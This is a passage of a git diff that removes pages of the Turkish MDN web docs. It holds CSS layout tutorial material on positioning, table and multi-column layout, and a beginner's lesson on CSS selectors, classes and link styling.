basic block level element.</p> -<p class="positioned">This is my relatively positioned element.</p> -<p>I am a basic block level element.</p></pre> - -<pre class="brush: css notranslate">body { - width: 500px; - margin: 0 auto; -} - -p { - background-color: rgb(207,232,220); - border: 2px solid rgb(79,185,227); - padding: 10px; - margin: 10px; - border-radius: 5px; -} -</pre> -</div> - -<pre class="brush: css notranslate">.positioned { - position: relative; - background: rgba(255,84,104,.3); - border: 2px solid rgb(255,84,104); - top: 30px; - left: 30px; -}</pre> -</div> - -<p>{{ EmbedLiveSample('Relative_1', '100%', 300) }}</p> - -<h3 id="Absolute_positioning">Absolute positioning</h3> - -<p>Absolute positioning is used to completely remove an element from normal flow, and place it using offsets from the edges of a containing block.</p> - -<p>Going back to our original non-positioned example, we could add the following CSS rule to implement absolute positioning:</p> - -<pre class="brush: css notranslate">.positioned { - position: absolute; - top: 30px; - left: 30px; -}</pre> - -<p>Here we give our middle paragraph a {{cssxref("position")}} value of <code>absolute</code>, and the same {{cssxref("top")}} and {{cssxref("left")}} properties as before. Adding this code, however, will give the following result:</p> - -<div id="Absolute_1"> -<div class="hidden"> -<h6 id="Absolute_positioning_example">Absolute positioning example</h6> - -<pre class="brush: html notranslate"><h1>Absolute positioning</h1> - -<p>I am a basic block level element.</p> -<p class="positioned">This is my absolutely positioned element.</p> -<p>I am a basic block level element.</p></pre> - -<pre class="brush: css notranslate">body { - width: 500px; - margin: 0 auto; -} - -p { - background-color: rgb(207,232,220); - border: 2px solid rgb(79,185,227); - padding: 10px; - margin: 10px; - border-radius: 5px; -} -</pre> -</div> - -<pre class="brush: css notranslate">.positioned { - position: absolute; - background: rgba(255,84,104,.3); - border: 2px solid rgb(255,84,104); - top: 30px; - left: 30px; -}</pre> -</div> - -<p>{{ EmbedLiveSample('Absolute_1', '100%', 300) }}</p> - -<p>This is very different! The positioned element has now been completely separated from the rest of the page layout and sits over the top of it. The other two paragraphs now sit together as if their positioned sibling doesn't exist. The {{cssxref("top")}} and {{cssxref("left")}} properties have a different effect on absolutely positioned elements than they do on relatively positioned elements. In this case the offsets have been calculated from the top and left of the page. It is possible to change the parent element that becomes this container and we will take a look at that in the lesson on <a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">positioning</a>.</p> - -<h3 id="Fixed_positioning">Fixed positioning</h3> - -<p>Fixed positioning removes our element from document flow in the same way as absolute positioning. However, instead of the offsets being applied from the container, they are applied from the viewport. As the item remains fixed in relation to the viewport we can create effects such as a menu which remains fixed as the page scrolls beneath it.</p> - -<p>For this example our HTML is three paragraphs of text, in order that we can cause the page to scroll, and a box to which we will give <code>position: fixed</code>.</p> - -<pre class="brush: html notranslate"><h1>Fixed positioning</h1> - -<div class="positioned">Fixed</div> - -<p>Paragraph 1.</p> -<p>Paragraph 2.</p> -<p>Paragraph 3.</p> -</pre> - -<div id="Fixed_1"> -<div class="hidden"> -<h6 id="Fixed_positioning_example">Fixed positioning example</h6> - -<pre class="brush: html notranslate"><h1>Fixed positioning</h1> - -<div class="positioned">Fixed</div> - -<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> - -<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> - -<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> - -</pre> - -<pre class="brush: css notranslate">body { - width: 500px; - margin: 0 auto; -} - -.positioned { - background: rgba(255,84,104,.3); - border: 2px solid rgb(255,84,104); - padding: 10px; - margin: 10px; - border-radius: 5px; -}</pre> -</div> - -<pre class="brush: css notranslate">.positioned { - position: fixed; - top: 30px; - left: 30px; -}</pre> -</div> - -<p>{{ EmbedLiveSample('Fixed_1', '100%', 200) }}</p> - -<h3 id="Sticky_positioning">Sticky positioning</h3> - -<p>Sticky positioning is the final positioning method that we have at our disposal. It mixes the default static positioning with fixed positioning. When an item has <code>position: sticky</code> it will scroll in normal flow until it hits offsets from the viewport that we have defined. At that point it becomes "stuck" as if it had <code>position: fixed</code> applied.</p> - -<div id="Sticky_1"> -<div class="hidden"> -<h6 id="Sticky_positioning_example">Sticky positioning example</h6> - -<pre class="brush: html notranslate"><h1>Sticky positioning</h1> - -<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> - -<div class="positioned">Sticky</div> - -<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> - -<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> </pre> - -<pre class="brush: css notranslate">body { - width: 500px; - margin: 0 auto; -} - -.positioned { - background: rgba(255,84,104,.3); - border: 2px solid rgb(255,84,104); - padding: 10px; - margin: 10px; - border-radius: 5px; -}</pre> -</div> - -<pre class="brush: css notranslate">.positioned { - position: sticky; - top: 30px; - left: 30px; -}</pre> -</div> - -<p>{{ EmbedLiveSample('Sticky_1', '100%', 200) }}</p> - -<div class="note"> -<p><strong>Note</strong>: to find more out about positioning, see our <a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">Positioning</a> article.</p> -</div> - -<h2 id="Table_layout">Table layout</h2> - -<p>HTML tables are fine for displaying tabular data, but many years ago — before even basic CSS was supported reliably across browsers — web developers used to also use tables for entire web page layouts — putting their headers, footers, different columns, etc. in various table rows and columns. This worked at the time, but it has many problems — table layouts are inflexible, very heavy on markup, difficult to debug, and semantically wrong (e.g., screen reader users have problems navigating table layouts).</p> - -<p>The way that a table looks on a webpage when you use table markup is due to a set of CSS properties that define table layout. These properties can be used to lay out elements that are not tables, a use which is sometimes described as "using CSS tables".</p> - -<p>The example below shows one such use; using CSS tables for layout should be considered a legacy method at this point, for those situations where you have very old browsers without support for Flexbox or Grid.</p> - -<p>Let's look at an example. First, some simple markup that creates an HTML form. Each input element has a label, and we've also included a caption inside a paragraph. Each label/input pair is wrapped in a {{htmlelement("div")}}, for layout purposes.</p> - -<pre class="brush: html notranslate"><form> - <p>First of all, tell us your name and age.</p> - <div> - <label for="fname">First name:</label> - <input type="text" id="fname"> - </div> - <div> - <label for="lname">Last name:</label> - <input type="text" id="lname"> - </div> - <div> - <label for="age">Age:</label> - <input type="text" id="age"> - </div> -</form></pre> - -<p>Now, the CSS for our example. Most of the CSS is fairly ordinary, except for the uses of the {{cssxref("display")}} property. The {{htmlelement("form")}}, {{htmlelement("div")}}s, and {{htmlelement("label")}}s and {{htmlelement("input")}}s have been told to display like a table, table rows, and table cells respectively — basically, they'll act like HTML table markup, causing the labels and inputs to line up nicely by default. All we then have to do is add a bit of sizing, margin, etc. to make everything look a bit nicer and we're done.</p> - -<p>You'll notice that the caption paragraph has been given <code>display: table-caption;</code> — which makes it act like a table {{htmlelement("caption")}} — and <code>caption-side: bottom;</code> to tell the caption to sit on the bottom of the table for styling purposes, even though the markup is before the <code><input></code> elements in the source. This allows for a nice bit of flexibility.</p> - -<pre class="brush: css notranslate">html { - font-family: sans-serif; -} - -form { - display: table; - margin: 0 auto; -} - -form div { - display: table-row; -} - -form label, form input { - display: table-cell; - margin-bottom: 10px; -} - -form label { - width: 200px; - padding-right: 5%; - text-align: right; -} - -form input { - width: 300px; -} - -form p { - display: table-caption; - caption-side: bottom; - width: 300px; - color: #999; - font-style: italic; -}</pre> - -<p>This gives us the following result:</p> - -<p>{{ EmbedLiveSample('Table_layout', '100%', '170') }}</p> - -<p>You can also see this example live at <a href="https://mdn.github.io/learning-area/css/styling-boxes/box-model-recap/css-tables-example.html">css-tables-example.html</a> (see the <a href="https://github.com/mdn/learning-area/blob/master/css/styling-boxes/box-model-recap/css-tables-example.html">source code</a> too.)</p> - -<h2 id="Multi-column_layout">Multi-column layout</h2> - -<p>The multi-column layout module gives us a way to lay out content in columns, similar to how text flows in a newspaper. While reading up and down columns is less useful in a web context as you don’t want to force users to scroll up and down, arranging content into columns can be a useful technique.</p> - -<p>To turn a block into a multicol container we use either the {{cssxref("column-count")}} property, which tells the browser how many columns we would like to have, or the {{cssxref("column-width")}} property, which tells the browser to fill the container with as many columns of at least that width.</p> - -<p>In the below example we start with a block of HTML inside a containing <code><div></code> element with a class of <code>container</code>.</p> - -<pre class="brush: html notranslate"><div class="container"> - <h1>Multi-column layout</h1> - - <p>Paragraph 1.</p> - <p>Paragraph 2.</p> - -</div> -</pre> - -<p>We are using a <code>column-width</code> of 200 pixels on that container, causing the browser to create as many 200-pixel columns as will fit in the container and then share the remaining space between the created columns.</p> - -<div id="Multicol_1"> -<div class="hidden"> -<h6 id="Multicol_example">Multicol example</h6> - -<pre class="brush: html notranslate"> <div class="container"> - <h1>Multi-column Layout</h1> - - <p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p> - - - <p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> - - </div> - </pre> - -<pre class="brush: css notranslate">body { max-width: 800px; margin: 0 auto; } </pre> -</div> - -<pre class="brush: css notranslate"> .container { - column-width: 200px; - }</pre> -</div> - -<p>{{ EmbedLiveSample('Multicol_1', '100%', 200) }}</p> - -<h2 id="Summary">Summary</h2> - -<p>This article has provided a brief summary of all the layout technologies you should know about. Read on for more information on each individual technology!</p> - -<p>{{NextMenu("Learn/CSS/CSS_layout/Normal_Flow", "Learn/CSS/CSS_layout")}}</p> - -<h2 id="In_this_module">In this module</h2> - -<ul> - <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Introduction">Introduction to CSS layout</a></li> - <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Normal_Flow">Normal flow</a></li> - <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Flexbox">Flexbox</a></li> - <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Grids">Grid</a></li> - <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Floats">Floats</a></li> - <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Positioning">Positioning</a></li> - <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Multiple-column_Layout">Multiple-column layout</a></li> - <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Responsive_Design">Responsive design</a></li> - <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Media_queries">Beginner's guide to media queries</a></li> - <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods">Legacy layout methods</a></li> - <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Supporting_Older_Browsers">Supporting older browsers</a></li> - <li><a href="/en-US/docs/Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension">Fundamental layout comprehension assessment</a></li> -</ul> diff --git a/files/tr/learn/css/first_steps/getting_started/index.html b/files/tr/learn/css/first_steps/getting_started/index.html deleted file mode 100644 index 440bbd4f79..0000000000 --- a/files/tr/learn/css/first_steps/getting_started/index.html +++ /dev/null @@ -1,273 +0,0 @@ ---- -title: CSS'e başlarken -slug: Learn/CSS/First_steps/Getting_started -tags: - - Acemi - - Beginner - - CSS - - Classes - - Durum - - Elements - - Example - - Learn - - Ogeler - - Ornekler - - Selectors - - Sozdizimi - - Syntax - - Sınıflar - - oğrenin - - seçiciler - - state -translation_of: Learn/CSS/First_steps/Getting_started -original_slug: Öğren/CSS/Ilk_adimlar/Getting_started ---- -<div>{{LearnSidebar}}</div> - -<div>{{PreviousMenuNext("Learn/CSS/First_steps/What_is_CSS", "Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps")}}</div> - -<p class="summary">Bu derste, basit bir HTML belgesi alıp ona CSS uygulayacağız. Bu sırada dil hakkında bazı pratik bilgiler öğreneceksini.</p> - -<table class="learn-box standard-table"> - <tbody> - <tr> - <th scope="row">Ön koşullar:</th> - <td>Giriş seviyesi bilgisayar kullanımı, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Installing_basic_software">gerekli yazılımların yüklenmesi</a>, <a href="https://developer.mozilla.org/tr/Learn/Getting_started_with_the_web/Dealing_with_files">dosyalarla çalışma</a> konusunda yeterli seviyede bilgiler ve HTML temelleri (<a href="/tr/docs/Learn/HTML/Introduction_to_HTML">IHTML'ye Giriş</a> bölümünü incele)</td> - </tr> - <tr> - <th scope="row">Amaç:</th> - <td>Bir CSS belgesini bir HTML doyasına bağlamanın temellerini anlamak ve CSS ile basit metin biçimlendirme yapabilmek.</td> - </tr> - </tbody> -</table> - -<h2 id="HTML_ile_başlayalım">HTML ile başlayalım</h2> - -<p>Başlangıç noktamız bir HTML belgesidir. Kendi bilgisayarında çalışmak istiyorsan şağıdaki kodu kopyalayabilirsin(Yeniden yazmak pratik için daha iyi olacaktır). Aşağıdaki kodu dosya adı <code>index.html</code> olacak şekilde bir klasöre kaydedin.</p> - -<pre class="brush: html notranslate"><!doctype html> -<html lang="tr"> -<head> - <meta charset="utf-8"> - <title>CSS'ye başlarken</title> -</head> - -<body> - - <h1>Ben birinci seviye bir başlığım</h1> - - <p>Bu bir paragraf metnidir. Metinde bir <span>span etiketi</span> -ve ayrıca bir <a href="http://example.com">bağlantı</a> var.</p> - - <p>Bu ikinci paragraftır. <em>vurgulanan</em> bir metin içerir.</p> - - <ul> - <li>Öğe bir</li> - <li>Öğe iki</li> - <li>Öğe <em>üç</em></li> - </ul> - -</body> - -</html> -</pre> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: Bunu bir cihazda veya kolayca dosya oluşturamadığın bir ortamda okuyorsan endişelenme. Burada, doğrudan web sayfasında örnek kod yazmana izin veren canlı kod düzenleyicileri aşağıda verilmiştir. Fakat bu çalışmaları; kullanmayı planladığın bir editörde çalışman, editörünüzü tanımana ve onu daha etkili kullanmana olanak sağlar.</p> -</div> - -<h2 id="Belgene_CSS_eklemek">Belgene CSS eklemek</h2> - -<p>Yapman gereken ilk şey, HTML belgesine, kullanmasını istediğimiz bazı CSS kurallarımız olduğunu söylemektir. Sıklıkla karşılaşacağın bir HTML belgesine CSS'si eklemenin üç farklı yolu vardır. Ancak şimdilik bunu yapmanın en olağan ve kullanışlı yoluna bakacağız — <em>CSS'i belgemizin başından bağlamak.</em></p> - -<p>HTML belgenle aynı klasörde adı <code>styles.css</code> bir dosya oluşturun. <code>.css</code> dosya uzantısı bu dosyanın bir css dosyası olduğunu belirtir.</p> - -<p><code>index.html</code> belgesindeki {{htmlelement("head")}} etiketinin içinde <code>styles.css</code> dosyasına bağlantı oluşturmak için:</p> - -<pre class="brush: html notranslate"><link rel="stylesheet" href="styles.css"></pre> - -<p>Bu {{htmlelement("link")}} etiketi tarayıcıya, <code>rel</code> niteliği ile bu dosyanın bir stil sayfası olduğunu ve <code>href</code> niteliğiylede dosyanın bulunduğu konumu söyler. <code>styles.css</code> dosyası içerisine bir kural ekleyerek CSS'in çalışıp çalışmadığını kontrol edebilirsin.</p> - -<pre class="brush: css notranslate">h1 { - color: red; -}</pre> - -<p>HTML ve CSS dosyalarını kaydedin ve <code>index.html</code> dosyasını bir web tarayıcısında yükle. Belgenin üst kısmındaki birinci düzey başlık şimdi kırmızı olmalıdır. Eğer öyleyse tebrik ederim — bir HTML belgesine bir miktar CSS'i başarıyla uyguladın. Doğru görünmüyorsa, her şeyi doğru yazdığını kontrol edin.</p> - -<p><code>styles.css</code> yerel olarak çalışmaya devam edebilir veya bu eğiticiye devam etmek için aşağıdaki etkilşimli düzenleyiciyi kullanabilirsin. Etkileşimli düzenleyici, yukarıdaki belgemizde olduğu gibi ilk paneldeki CSS'i HTML belgesine bağlıymış gibi davranır.</p> - -<h2 id="HTML_öğelerini_şekillendirme">HTML öğelerini şekillendirme</h2> - -<p>Başlığımızı kırmızı yaparak, bir HTML öğesini seçebileceğimizi ve biçimlendirebileceğimizi göstermiş olduk. Bunu, bir <em>öğe seçiciyle</em> yaptık — bu HTML öğe etiketiyle doğrudan eşleşen bir seçicidir. Belgedeki tüm paragrafları seçebilmek için <code>p</code> seçiciyi kullanırsın. Tüm paragrafları yeşile çevirmek için:</p> - -<pre class="brush: css notranslate">p { - color: green; -}</pre> - -<p>seçicileri virgülle ayırarak birden çok seçiciyi aynı anda seçebilirsin. Tüm paragrafları ve tüm liste öğelerinin yeşil olmasını istersek, kural şöyle görünür:</p> - -<pre class="brush: css notranslate">p, li { - color: green; -}</pre> - -<p>Bunu aşağıdaki etkileşimli düzenleyicide veya yerel uygulamanda dene.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/started1.html", '100%', 900)}} </p> - -<h2 id="Öğelerin_varsayılan_davranışlarını_değiştirme">Öğelerin varsayılan davranışlarını değiştirme</h2> - -<p>İyi işaretlenmiş bir HTML belgesine baktığımızda, örneğimiz kadar basit bile olsa, tarayıcının bazı varsayılan stil ekleyerek HTML'yi nasıl okunabilir hale getirdiğini görebilirz. Başlıklar büyük ve kalın ve listemizde madde işaretleri var. Bunun nedeni, tarayıcların varsayılan olarak tüm sayfalara uyguladıkları vasayılan stilleri içeren dahili stil sayfalarına sahip olmasıdır. Onlar olmadan tüm metin bir yığın halinde bir araya gelir ve her şeyi sıfırdan şekillendirmemiz gerekirdi. Tüm modern tarayıcılar, varsayılan olarak HTML içeriğini hemen hemen aynı şekilde görüntüler.</p> - -<p>Ancak, bir web geliştiricisi tarayıcının yapmış olduğu tercihlerden farklı tercihleri olacaktır(yoksa tüm web sayfaları aynı gözükürdü). Bunu, görünüşünü veya davranışını değiştirmek istediğin HTML öğesini seçerek ona yeni bir CSS kuralı tanımlayarak yapabiliriz. Buna, sırasız listemiz <code><ul></code> iyi bir örnektir. Listemizde noktalar var ve bu noktaları istemediğime karar verirsem onları şu şekilde kaldırabilirim.</p> - -<pre class="brush: css notranslate">li { - list-style-type: none; -}</pre> - -<p>Örneği CSS'e ekleme.</p> - -<p><code>list-style-type</code> niteliğinin desteklediği değerleri görmek için MDN içerisindeki <code><a href="/tr/docs/Web/CSS/list-style-type">list-style-type</a></code> sayfasına bakabilirsin. Sayfanın üst kısmında bazı farklı değerleri denemek için etkileşimli bir örnek bulacaksın ve izin verilen tüm değerler sayfanın altında ayrıntılı olarak verilmiştir. </p> - -<p>Bu referans sayfasına baktığında, listenin madde işaretlerini kaldırmanın yanı sıra bunları değiştirebileceğini göreceksin — <code>square</code> değerini kullanarak bunları kare madde imlerine dönüştürmeyi dene.</p> - -<h2 id="Bir_sınıf_eklemek">Bir sınıf eklemek</h2> - -<p>Şimdiye kadar öğeleri HTML etiket adlarına göre biçimlendirdik. Bunu, belgendeki o türdeki tüm öğelerin aynı görünmesini istediğimizde kullanırız. Bazı durumlarda belgedeki aynı türdeki tüm öğelerin yerine belirli öğeleri seçmek isteyebilirsin. Bunu yapmanın en yaygın yolu da, HTML öğelerini bir sınıfa eklemek ve bu sınıfı seçmektir.</p> - -<p>HTML belgende, ikinci liste(<code><ul></code>) öğeni bir <a href="/tr/docs/Web/HTML/Global_attributes/class">sınıf etiketi</a> ekle. Listeni oluşturan kodlar artık böyle gözükmeli:</p> - -<pre class="brush: html; highlight[3] notranslate"><ul> - <li>Öğe bir</li> - <li class="special">Öğe iki</li> - <li>Öğe <em>üç</em></li> -</ul></pre> - -<p>CSS'nde nokta ile başlayan <code>special</code> seçici kullanarak sınıfı seçebilirsin. Aşağıdakileri CSS kurallarını dosyana ekle:</p> - -<pre class="brush: css notranslate">.special { - color: orange; - font-weight: bold; -}</pre> - -<p>Sonucun ne olduğunu görmek için kaydedin ve yenile.</p> - -<p><code>special</code> sınıfını bu liste öğesiyle aynı görünüme sahip olmasını istediğin herhangi bir öğeye uygulayabilirsin. Örn; <code><span></code> öğesinin içeriğininde turuncu ve kalın olmasını isteyebilirsin. bu öğeyenin <code>class</code> niteliğine <code>special</code> değerini ekle ve sayfayı yenile. Amacına ulaştığını göreceksin.</p> - -<p>Bazen, sınıfla birlikte HTML öğelerinin birlikte kullanıldığı kurallar görürsünüz:</p> - -<pre class="brush: css notranslate">li.special { - color: orange; - font-weight: bold; -}</pre> - -<p>Bu sözdizimi, "special sınıfana dahil bir <code>li</code> öğesi seç" anlamına gelir. Bu şekilde bir kural tanımladığında, bu kuralı <code><span></code> veya başka bir öğeye yalnızca sınıf ekleyerek uygulayamazsın. Bu öğe veya öğeler içinde kural tanımlaman gerekir:</p> - -<pre class="brush: css notranslate">li.special, -span.special { - color: orange; - font-weight: bold; -}</pre> - -<p>Bu şekilde kısıtlayıcı bir tanımlamada bulunursan, aynı kuralların uygulanmasını istediğin yeni bir öğe eklediğinde, CSS'ini yeniden düzenlemek veya yeni bir kural eklemek zorunda kalabilirsin. Bu nedenle, bir öğeye özel kural oluşturman gerektiğinden emin değilsen veya başka öğelerede bu kuralları uygulanıp uygulanmayacağından emin değilsen, bu kullanım yerine öğe seçicileri kullanmadan sınıfa kural oluşturmak en iyisidir.</p> - -<h2 id="Belgedeki_konumlarına_göre_öğeleri_şekillendirme">Belgedeki konumlarına göre öğeleri şekillendirme</h2> - -<p>Belgede bulundukları yere bağlı olarak bir öğenin farklı görünmesini isteyeceğin zamanlar da olacaktır. Burada size yardımcı olabilecek bir dizi seçici var, ancak şimdilik sadece birkaç tanesine bakacağız. Belgemizdeki iki <code><em></code> öğesi vardır — biri bir paragrafın içinde, diğeri bir listenin içinde. Yalnızca <code><li></code> öğesinin içerisine yerleştirilen <code><em></code> öğesini seçmek için, diğer seçiciyle arasına <strong>boşluk karakterini</strong> koyarak, <code>soy birleştirici</code> adı verilen bir seçici kullanabilirim.</p> - -<p>Aşağıdaki kuralı stil sayfana ekle.</p> - -<pre class="brush: css notranslate">li em { - color: rebeccapurple; -}</pre> - -<p>Bu seçici <code><li></code> içindeki (soyundan gelen) <code><em></code> öğesini seçecektir. Dolayısıyla, örnek belgemizde, <code><em></code> içerisindeki üçüncü listedeki ifadenin mor olduğunu, ancak dışında kalan ifadenin değişmediğini görmelisin. </p> - -<p>Denemek isteyebileceğin başka bir şeyde, HTML'den aynı hiyerarşi düzeyindeki bir başlıktan hemen sonra gelen bir paragfarın stilini belirlemektir. Bunu yapmak için seçiciler arasına bir <code>+</code> (<strong>Komşu kardeş birleştirici</strong>) yerleştirin.</p> - -<p><span>Bu kuralı stil sayfana eklemeyi dene:</span></p> - -<pre class="brush: css notranslate">h1 + p { - font-size: 200%; -}</pre> - -<p>Aşağıdaki etkileşimli örnekte, yukarıdaki iki kuralı içerir. Sizde bir paragrafın içindeki <code><span></code> öğesinin içeriğinin kırmızı olmasını sağlayan kuralı ekle. İlk paragraftaki kapsam içeriğinin kırmızı olduğunu ve birinci liste öğesinin içerisindeki kapsam içeriğinin renginin değişmediğini görmek kuralın doğru yazıldığını doğrulayacaktır.</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/started2.html", '100%', 1100)}}</p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: Gördünüz gibi, CSS bize öğeleri hedeflememiz için birkaç yol sunuyor ve şimdiye kadar sadece yüzeyi gördük! Konumuzun ilerleyen bölümlerinde <a href="/tr/docs/Learn/CSS/Building_blocks/Selectors">Seçiciler</a> dersimizde bu seçicilerin tümüne ve çok daha fazlasına düzgün bir şekilde göz atacağız.</p> -</div> - -<h2 id="Öğeleri_durumuna_göre_şekillendirme">Öğeleri durumuna göre şekillendirme</h2> - -<p>Bu derste inceleyeceğimiz son stil türü, öğelerin durumlarına göre şekillendirme yeteneğidir. Örn. bağlantıların şekillendirilmesi. Bir bağlantıya şekil verdiğimizde <code><a></code> (anchor) öğesini seçmemiz gerekir. Bu, ziyaret edilmeme, ziyaret edilme, üzerine gelme, klavye aracılığıyla odaklanma veya tıklanma sürecine bağlı olarak farklı durumlara sahiptir. Bu farklı durumları seçmek için CSS'i kullanabiliriz — aşağıdaki CSS kuralında, ziyaret edilmeyen bağlantıların pembe ve ziyaret edilen bağlantıların ise yeşil gözükmesini sağlar.</p> - -<pre class="brush: css notranslate">a:link { - color: pink; -} - -a:visited { - color: green; -}</pre> - -<p>Kullanıcı fareyle üzerine geldiğinde bağlantının görünümünü de değiştirebilirsin. Örneğimizde farenin imleciyle bir bağlantının üzerine gelindiğinde bağlantının altında bulunan çizgi kaldırılır.</p> - -<pre class="brush: css notranslate">a:hover { - text-decoration: none; -}</pre> - -<p>Aşağıdaki etkileşimli örnekte, bir bağlantı öğesinin farklı durumlarını şekillendirmek için kullanılan kuralların, değerleriyle oynamayı deneyiz. Size örnek olması için yukarıdaki kuralları sizin için ekledim ve pembe renginin oldukça açık olduğunu ve okunmasının zor olduğunu farkettim — daha iyi bir okunurluk için bu rengi neden değiştirmeyesin ki? Bunu yapmışken bağlantıların metinlerini kalın yapabilir misin?</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/getting-started/started3.html", '100%', 900)}} </p> - -<p>Bağlantımızın üzerine fareyle gelindiğinde altındaki çizginin kaldırılmasını sağladık. Alt çizgiyi bir bağlantının tüm durumlarından kaldırabilirsin. Fakat gerçek bir sitede, ziyaretçilerin bir bağlantının bir bağlantı olduğunu bilmesini istediğini hatırlatmakta fayda var. Alt çizgiyi yerinde bırakmak, insanların bir paragrafın içindeki bir metnin tıklanabileceğini fark etmeleri için önemli bir ipucu olabilir — alıştıkları davranış budur. Tasarımında, CSS'de dökümanı daha az erişilebilir hale getirme potansiyeli vardır — uygun yerlerde olası tuzakları vurgulamayı hedefleyeceğiz.</p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: Bu derslerde ve MDN genelinde <a href="/tr/docs/Learn/Accessibility">erişilebilirlilikten</a> sık sık bahsedildiğini göreceksin. Erişilebilirlik hakkında konuştuğumuzda, web sayfalarımızın herkes tarafından anlaşılabilir ve kullanılabilir olması gerektiğinden bahsetmiş olacağız.</p> - -<p>Ziyaretcin, faresi yada izleme panali olan bir bilgisayarda veya dokunmatik ekranlı bir telefonda olabilir. Ya da belgenin içeriğini okuyan bir ekran okuyucu kullanıyor olabilirler, ayrıca çok daha büyük metinler kullanmaları yada sadece klavyeyi kullanarak gezinmeleri gerekebilir.</p> 